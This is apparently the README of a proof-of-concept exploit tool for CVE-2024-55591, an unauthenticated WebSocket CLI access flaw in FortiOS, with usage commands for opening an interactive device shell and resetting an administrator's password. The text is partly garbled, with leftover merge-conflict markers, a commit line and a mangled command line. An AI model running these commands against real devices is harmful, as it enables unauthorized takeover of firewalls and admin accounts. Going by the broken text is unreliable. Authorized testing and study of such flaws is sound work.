
Proof-of-concept exploit for CVE-2024-55591, enabling unauthenticated WebSocket CLI access to FortiOS devices, with interactive shell and admin password reset.
<<<<<<< HEAD
=======
This is a Proof-of-Concept (PoC) tool for exploiting CVE-2024-55591, a vulnerability in FortiOS that allows unauthenticated access to the CLI over WebSocket.
--reset-user)python3 poc.py --host <target_ip> --port 443 --ssl
Then use the prompt:
FortiOS# get system status
FortiOS# exit
python3 poc.py --host <target_ip> --port 443 --ssl \
--reset-user Admin2 --new-pass Forti2024!
Disclaimer: This tool is provided for educational and authorized testing purposes only.
4fe5de8 (Add full PoC and README for CVE-2024-55591 by @cherny_zhizn)